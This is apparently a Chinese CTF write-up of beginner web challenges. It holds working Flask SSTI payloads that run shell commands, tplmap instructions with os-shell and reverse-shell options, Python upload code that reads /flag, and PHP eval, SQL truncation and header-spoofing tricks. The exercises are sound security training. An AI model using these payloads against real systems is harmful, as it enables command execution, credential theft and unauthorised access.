Simple_SSTI_1
先来简单看一下什么是SSTI模板注入
{{ … }}:装载一个变量,模板渲染的时候,会使用传进来的同名参数这个变量代表的值替换掉。
{% … %}:装载一个控制语句。
{# … #}:装载一个注释,模板渲染的时候会忽视这中间的值
很简单的模板注入,查看页面源代码
很明显,flag在secret_key下。最下面说在flas
k里,我们经常建立一个SECRET_KEY,上方模板注入,直接访问URL+?flag={undefined{ config .SECRET_KEY}}得到flag
Simple_SSTI_2
打开后,题目提示存在模板注入,先进行ls查看一下存在的文件
/?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
查看网页返回结果,发现存在一些文件夹,进行一个个进入查看,发现第一个看的app文件夹里就有flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app/%27).read()%20}}
因为没有过滤直接cat …/app/flag
?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}
介绍一个工具tplmap的安装和使用
参考文章(https://www.cnblogs.com/ktsm/p/15691652.html)
kali 2020版及以上, 输入python2命令会执行python2, python3也存在。
但pip默认是pip3, 而我们需要的是pip2, 所以我们需要先安装pip2
# 进入家目录
cd
#建立目录ins-pip2
mkdir ins-pip2
#下载pip2安装脚本
wget https://bootstrap.pypa.io/pip/2.6/get-pip.py
#python2执行 需要sudo权限
sudo python2 get-pip.py
#升级pip2
sudo pip2 install --upgrade pip
#安装pip2扩展工具,不然后面安装还是报错
sudo pip2 install --upgrade setuptools
使用git克隆tplmap
git clone https://github.com/epinna/tplmap
cd tplmap
sudo pip2 install -r requirements.txt
操作实例
#探测注入点
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag'
#获取shell
python2 tplmap.py -u 'http://114.67.246.176:17787/?flag' --os-shell
//详细命令
--os-shell Run shell on the target
--os-cmd Execute shell commands
--bind-shell PORT Connect to a shell bind to a target port
--reverse-shell HOST PORT Send a shell back to the attacker's port
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
滑稽
查看源码,得到flag
flag{c7999bf2c5c58b23cb207ff6095eba84}
计算器
计算结果后发现只能输入一个数字,修改长度即可输入数字49
flag{67e55166a877a86a243c8f254abe3b43}
矛盾
看到一段代码,让你get传参 num =1,但是有一句if(!is_numeric($num)),判断传进来的如果是数字就输出num,就无法执行下面的if语句输出flag ,所以只需要在num=1后面加上%00就可以让它识别不到。http://114.67.175.224:15435/?num=1%00
flag{744d08517cfb62a67813efadec3202ae}
Flask_File Upload
打开网页,类似于文件上传漏洞
查看源码,发现只能提交图片格式的文件,且文件只会用python上传
写一个txt文件,写入下列代码,然后将后缀改为jpg格式上传,得到运行结果
import os
print(os.system('ls ./'))
查看app.py后,看到了/flag
import os
print(os.system('cat app.py'))
然后查看flag 得到答案 flag{4c72daa84d138085569bbefab16bb94e}
import os
print(os.system('cat /flag'))
alert
查看源码,发现有一段url编码
然后使用工具解码,得到flag{b26211e83e624c8c1ccd8757b7852f1e}
你必须让他停下
查看源码,你停到Panda的图片上,你就可以得到flag,这个时候想到bp抓包
bp肯定是能抓到的,但是我的环境出了点问题,所以使用第二种办法。查看源码,不断刷新,得到flag{47f12b0f4d8a8343f9a50469339d2824}
点login咋没反应
打开是这样,点击login没有反应,查看源码
发现有一个admin.css,点进去看看
开头说试一试?8567,那么就打开这个地址看一看
发现有php反序列化的代码
构造反序列化
抓包,修改cookie的值
变量1
<?php
error_reporting(0); // 关闭php错误显示
include "flag1.php"; // 引入flag1.php文件代码
highlight_file(__file__); //对文件进行语法高亮显示
if(isset($_GET['args'])){ // 条件判断 get方法传递的args参数是否存在
$args = $_GET['args']; //赋值给变量 $args
if(!preg_match("/^\w+$/",$args)){ // /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
die("args error!"); //输出 args error!
}
eval("var_dump($$args);"); // 将字符串作为php代码执行结尾加分号 var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与 值。数组将递归展开值,通过缩进显示其结构。$$args 可以理解为$($args)
}
?>
eval()函数存在命令执行漏洞 我们的目标是查看flag1.php中的flag 首先想到的是本地包含漏洞查看源码 或者上传一句话木马等思路 。而本题条件判断加了正则表达式判断,过滤了括号和引号等字符。无法构造! 但输出时是 $$ args
我们想到构造 php中超全局变量$GLOBALS ,PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。构造payload: ?args=BLOBLAS
得到flag{7c763bfeecf28ba31acc5fe2ae1a974c}
本地管理员
查看源码,发现很多nnn后面有一段base64编码 ,拿去解密,得到管理员的密码
管理员的账号可以用bp爆破,也可以简单猜测出来是admin,登录,显示不是本地
使用x-forwarded-for,伪造地址,得到flag{f0b365ca2f1b5b4bd6360200e079e8fe}
eval
打开看到一段代码,看到include,第一反应想到的是文件包含,构造playload:?hello=file:etc
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
那就再检查一下代码, var_dump(file(‘flag.php’)); file把flag.php读入一个数组中,var_dump输出该数组的类型和长度内容
eval(“代码a”)函数就是让代码a像PHP一样执行,利用这个函数可以自己添加代码至该php文件里,这个函数也容易造成代码执行漏洞
@是错误抑制符,忽略错误提示,使其错误消息不会显示在程序里,通常用于数据库与PHP的连接
懂了,hello传入一个参数,然后输出类型和内容,那我直接?hello=’flag.php‘马上就出来了 flag{d1359821455df720239cd13623544c25}
login1
根据题目中的提示,这道题的所使用的是sql约束攻击。首先了解一下SQL约束攻击原理,sql语句中的空格作为字符的结尾时,空格符会被修剪,也就是说’vampire’与’vampire ’ 没有什么区别
对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT插入时,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“vampire”时,实际上只能插入字符串的前5个字符,即“vampi”
首先注册一个admin的账号,提示该账号已经存在,说明这个应该是管理员账号,根据前面的原理,注册一个’admin ’ 密码;AAbb1234
登录的时候,可以在用户栏输入若干空格,这样就识别不到我们的密码,然后根据约束原理‘admin’='admin ’ 就可以登录到管理员的账号,得到flag{42b47ffee7f962178cbcb89bb18bc122}
总结:拿到没有验证码,知道用户名的时候,不要再无脑爆破了
你从哪里来
我宣布,以后发包改包,我优先考虑postman,bp好多次都无响应,在头部添加Referer:https://www.google.com
得到flag{f02faa581d2cf5424afd4c0982b18166}